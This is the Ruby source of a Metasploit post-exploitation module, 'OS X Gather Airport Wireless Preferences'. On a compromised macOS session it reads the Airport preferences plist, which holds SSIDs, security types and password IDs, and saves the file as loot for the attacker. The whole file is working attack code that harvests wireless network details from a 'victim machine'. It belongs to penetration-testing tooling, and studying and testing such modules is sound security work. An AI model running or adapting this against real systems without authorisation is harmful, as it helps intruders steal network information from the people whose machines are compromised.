##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OS X Gather Airport Wireless Preferences',
        'Description' => %q{
          This module will download OS X Airport Wireless preferences from the victim
          machine.  The preferences file (which is a plist) contains information such as:
          SSID, Channels, Security Type, Password ID, etc.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'sinn3r'],
        'Platform' => [ 'osx' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ]
      )
    )
  end

  def exec(cmd)
    tries = 0
    begin
      out = cmd_exec(cmd).chomp
    rescue ::Timeout::Error => e
      tries += 1
      if tries < 3
        vprint_error("#{@peer} - #{e.message} - retrying...")
        retry
      end
    rescue EOFError => e
      tries += 1
      if tries < 3
        vprint_error("#{@peer} - #{e.message} - retrying...")
        retry
      end
    end
  end

  def get_air_preferences
    pref = exec('cat /Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist')
    return pref =~ /No such file or directory/ ? nil : pref
  end

  def save(data)
    p = store_loot(
      'apple.airport.preferences',
      'plain/text',
      session,
      data,
      'com.apple.airport.preferences.plist'
    )

    print_good("#{@peer} - plist saved in #{p}")
  end

  def run
    @peer = "#{session.session_host}:#{session.session_port}"

    # Download the plist.  If not found (nil), then bail
    pref = get_air_preferences
    if pref.nil?
      print_error("#{@peer} - Unable to find airport preferences")
      return
    end

    # Save the raw version of the plist
    save(pref)
  end
end
